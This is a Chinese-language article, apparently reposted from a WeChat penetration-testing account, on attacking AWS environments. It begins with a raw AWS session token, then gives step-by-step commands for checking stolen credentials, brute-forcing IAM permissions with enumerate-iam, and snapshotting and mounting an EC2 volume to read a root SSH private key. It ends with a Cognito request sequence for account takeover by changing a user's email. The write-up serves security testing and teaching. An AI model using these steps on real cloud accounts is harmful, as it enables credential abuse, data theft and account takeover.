aws_session_token = IQoJb3JpZ2luX2VjECEaDGV1LWNlbnRyYWwtMSJIMEYCIQCnZUyvONtQlYo9E7wvsBQp5yozH/EiPnO4BoXXajyIiwIhAMsOP10IS+ItChhHgzvKMprEPJkKpWl5GKTH3hInYv6gKt8ECLr//////////wEQABoMNDE0MzU4ODA1ODczIgyan7zp7MCE5SEbGO4qswTx/skDLRfBDHMnkXE9rzH7YXvEjXchuasGVywChi9vFyoujll7wc3gmts+LRrgrTC+lV5p/uDC3iHloXiPuEgf6YDRB0OoX4J9jKooGxBAmbdhyvL6kivHlywONtLE8mcf3SrC3ZZqyJ/5KQX+NWNt8Vj1GC/HNssYuToHOLExmUsm5Pw3VgElvcgRaovgU3hwQGLBh7gXCFzp4rAW57jaOcARGQJQr/ONYzgSIZ9LNqMjSBZwREVmTJVhzrDbz7AoPdERnz+K374jd/s+3k7ujBgYxOlk/0Osl7J2+79Wj5+7TDfQXulic/bEwJdCdFX1gcpN5CG3uXnQZQ1USwX4Zb6TSPvHutOOpDjX9pvG2qPt7QC5SV3EuDSOLNvPVrFExOKJcaQhryhZW56hHBpUyVkl5USV2KiAPaniJ6RjYewBX844ddYYaJGp9UEQSxovXPh0mwEKenVTegi3db1bMPkX0CT7IS4GO6bv71/++zQp+pl3fOvp9ixbAa3vzbawLQvpENHpDyRH9K6UT1VPFGK4tbgmrUmBytYp1SKc5UvEDJFg51htlk19MXO3F3fSUWPB5kuo6AEpxnzqElWagBVwswgt6hh0spVjm7PAoO7xTm9yfEc60li/RYGnT4PRQmlbiXiB/sdHVcM29Fmkg7aKo013z06OYNuzIF+Bldf2ziuL8rFM1aU0Af77lUNgpAto0A38iY3a1vBr9xpUJ6ZaXVxMXCbIKG8vTZ94P4f8+TD2idKfBjqoAT5RSXeKY76pZ+P1vOIE+btQjCYsqFzhQwDsk06w+9G89Pa5dVMvhOI0NT0foZeX7aJFhcHigrC5pPkooNQ0wBm1waotdwDTPEKAOwL8HHvtUiuohdR6kYNxKwzqt6g61HcNVd2qzoxf31uDMquXq3OdvcPZHR4LyitKGcptgjQ21ZzcIiuqsqg4k879O8D8v4U3GBSQk7B5UK/2pVKPmqLs/X4cTxUkmQ==
-
此配置代码段演示了如何将获取的凭证存储在 AWS CLI 配置文件 () 中。~/.aws/credentials
-
凭证包括访问密钥 ID、秘密访问密钥和会话令牌,允许使用授予的权限执行后续 AWS CLI 命令。
AWS Security Token 权限枚举
AWS 安全令牌权限枚举过程涉及利用“aws sts get-caller-identity”等命令来确定 AWS 凭证的有效性,同时提取有关关联 IAM 用户或角色的相关信息,例如“ServerManager”。此命令是验证 AWS 凭证完整性的基本工具,提供对 AWS 环境中与用户或代入角色关联的身份和权限的基本见解。通过此初始验证步骤,安全从业人员可以为进一步探索和评估权限奠定基础,从而在 AWS 基础设施中实现全面的安全状况评估和风险缓解策略。
1.验证 AWS 凭证:
aws sts get-caller-identity
此命令验证 AWS 凭证的有效性,并输出有关 IAM 用户或代入角色的详细信息。
返回的信息包括 AWS 账户 ID、用户/角色 ID 以及与代入角色关联的 Amazon 资源名称 (ARN)。
2.列出附加的角色策略 (未授权尝试):
aws iam list-attached-role-policies --role-name ServerManager
此命令尝试列出指定 IAM 角色(在本例中为 )的附加策略。ServerManager
但是,用户没有执行此操作所需的权限,从而导致“AccessDenied”错误。
3.使用 Enumerate-IAM 工具进行权限枚举:
./enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY --session-token SESSION_TOKEN
此命令使用 enumerate-iam 工具启动权限枚举,该工具会执行暴力攻击以识别可访问的 AWS CLI 命令。
该工具利用提供的访问密钥、私有密钥和会话令牌向 AWS 进行身份验证。
4.枚举中标识的权限:
-- dynamodb.describe_endpoints() worked!
-- sts.get_caller_identity() worked!
-- ec2.describe_volumes() worked!
枚举过程的输出表明提供的凭证有权执行某些 AWS CLI 命令。
ec2:CreateSnapshot 和 ec2:DescribeVolumes
在网络安全领域,权限提升是评估系统漏洞和潜在漏洞的一个关键方面。借助捕获的身份验证凭证和对分配权限(例如 ec2:CreateSnapshot 和 ec2:DescribeVolumes)的细致入微的理解,恶意行为者可以精心设计攻击路径,以提升 root 权限或获得对驻留在系统中的敏感数据的未经授权的访问。
这种邪恶的策略经常在渗透测试和红队评估中遇到,它强调了在 AWS 等云环境中采取强大安全措施的重要性。通过利用权限提供的功能,攻击者可以在攻击序列中导航,从列出可用卷 (ec2:DescribeVolumes) 开始,到创建可公开访问的备份或快照 (ec2:CreateSnapshot) 结束。此外,错误配置的普遍存在,例如无意中与所有 AWS 用户共享快照,放大了风险,可能使攻击者能够利用自己的 AWS 账户将这些快照作为辅助硬盘驱动器附加到新的 EC2 实例,从而扩大其范围和恶意活动的可能性。
1.列出可用卷:
aws ec2 describe-volumes
·此命令检索有关附加到 EC2 实例的卷的信息,包括其卷 ID、状态、大小和附件详细信息。
·输出提供了继续创建卷快照所需的基本数据。
2.创建快照:
aws ec2 create-snapshot --volume-id vol-02ca4df63c5cbb8c5 --description 'Y-Security rocks!'
·此命令会生成指定卷的新快照,该快照由其卷 ID 标识。
·description 参数为快照提供标签,以帮助识别。
·输出包括快照 ID、描述、状态、开始时间和所有者 ID 等详细信息。
3.将快照挂载到新的 EC2 实例:
sudo mount /dev/sdb1 /media/
该命令演示了将快照作为第二个硬盘驱动器 (/dev/sdb1) 挂载到新 EC2 实例并访问其文件系统的过程。
该命令列出了挂载快照的根目录中的目录内容。
sudo cat /media/root/.ssh/id_rsa
该命令检索文件的内容,该文件通常包含用于身份验证的 SSH 私有密钥。通过获取 SSH 私钥,攻击者可能会将权限提升到 root 或获得对系统上存储的敏感数据的访问权限。
在这种情况下,攻击者成功利用与被盗凭证关联的权限来创建 EC2 卷的快照。随后,攻击者将快照挂载到新的 EC2 实例,并从文件系统中提取 SSH 私钥,从而促进进一步的权限提升或数据泄露活动。
亚马逊 Cognito
Flickr 采用的登录机制通过 Amazon Cognito 进行编排,代表了一个容易被利用和后续权限提升的关键时刻。这个复杂的过程从 identity.flickr.com 启动,通过 JavaScript 将最终用户凭证引导到 cognito-idp.us-east-1.amazonaws.com,从而产生随后中继到 www.flickr.com 的令牌。利用 OpenID Connect 的自定义版本,Amazon Cognito 促进了用户身份验证,其中有效凭证会引发令牌响应,从而提供访问凭证。利用获取的 access_token,可以从 GetUser 等基本查询开始,仔细检查 AWS API 中允许的操作范围。值得注意的是,这种访问权限扩展到修改用户属性,包括电子邮件地址等关键标识符,为未经授权的帐户接管提供了途径。通过对底层身份验证机制的精心操纵和利用,恶意行为者可以破坏安全协议,对系统完整性和用户隐私构成巨大挑战。此演示强调了强大的身份验证协议和警惕的监督以预防潜在违规行为并保护用户数据的必要性。
1.Craft Authentication 请求
使用以下 JSON 负载制作面向 cognito-idp.us-east-1.amazonaws.com 的安全 POST 请求,确保密码等敏感信息不会泄露:
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
Content-Type: application/json
{
"AuthFlow": "USER_PASSWORD_AUTH",
"ClientId": "3ck15a1ov4f0d3o97vs3tbjb52",
"AuthParameters": {
"USERNAME": "[email protected]",
"PASSWORD": "[REDACTED]",
"DEVICE_KEY": "us-east-1_070[...]"
},
"ClientMetadata": {}
}
2.获取 Token
如果提供的凭证有效,Amazon 将使用包含 、 和 .确保安全地处理和存储这些令牌。AccessTokenIdTokenRefreshToken
3.使用 Access Token
使用获取的与 AWS API 交互,确保敏感令牌不会暴露在日志或命令历史记录中。AccessToken
4.更改用户属性
使用 AWS CLI 工具安全地修改用户属性。例如,要更改与账户关联的电子邮件,请执行以下命令,确保敏感数据受到保护:
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token [REDACTED] --user-attributes Name=email,[email protected]
5.完成账户接管
一旦电子邮件地址被更改为类似于受害者的电子邮件地址,请继续使用修改后的电子邮件地址和攻击者的密码登录。
原文始发于微信公众号(合规渗透):云上渗透 之 AWS云上的攻击手法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论